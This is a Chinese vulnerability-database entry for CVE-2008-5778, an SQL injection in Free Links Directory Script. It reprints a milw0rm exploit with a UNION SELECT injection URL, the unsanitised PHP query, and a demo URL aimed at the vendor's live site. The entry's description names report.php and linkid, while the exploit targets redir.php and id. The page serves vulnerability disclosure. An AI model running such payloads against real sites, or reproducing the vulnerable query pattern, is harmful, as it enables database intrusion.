Free Links Directory Script 'report.php' SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117033 漏洞类型 SQL注入
发布时间 2008-12-14 更新时间 2009-01-29
CVE编号 CVE-2008-5778 CNNVD-ID CNNVD-200812-501
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/7453
https://cxsecurity.com/issue/WLB-2009010113
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200812-501
|漏洞详情
FreeLinksDirectoryScript是一款网站分类目录软件。FreeLinksDirectoryScript(FLDS)1.2a版本中的report.php存在SQL注入漏洞。远程攻击者可以借助linkid参数,执行任意的SQL指令。
|漏洞EXP
#Free Links Directory Script (id) SQL Injection Vulnerability


#Author: nuclear


#site:
http://flds-script.com


#vuln:
http://localhost/[path]/redir.php?id=-1%20UNION%20SELECT%201,2,@@version,4,5,6,7,8,9,10,11/*


#vulnerable code:
$ida = $_GET['id'];
$link = mysql_fetch_array(mysql_query("select * from links where id=$ida"));
$idcheck = mysql_numrows(mysql_query("select * from links where id=$ida"));


#demo:
http://flds-script.com/demo/redir.php?id=-1 UNION SELECT 1,2,@@version,4,5,6,7,8,9,10,11

#notes:
the injection does not work if trying to comment out the rest of the query.The result page will be a 404 but
you can get the data of the injection in the url


#greetz Mi4night, zYzTeM, THE_MAN, Pepe, I-O-W-A, Digitalfortress, DiGitalX, sys32-hack, sys32r, Whitestar

# milw0rm.com [2008-12-14]
|参考资料

来源:XF
名称:flds-report-sql-injection(47377)
链接:http://xforce.iss.net/xforce/xfdb/47377
来源:BID
名称:32859
链接:http://www.securityfocus.com/bid/32859
来源:MILW0RM
名称:7489
链接:http://www.milw0rm.com/exploits/7489
来源:SREASON
名称:4852
链接:http://securityreason.com/securityalert/4852
来源:SECUNIA
名称:33075
链接:http://secunia.com/advisories/33075
来源:OSVDB
名称:50724
链接:http://osvdb.org/50724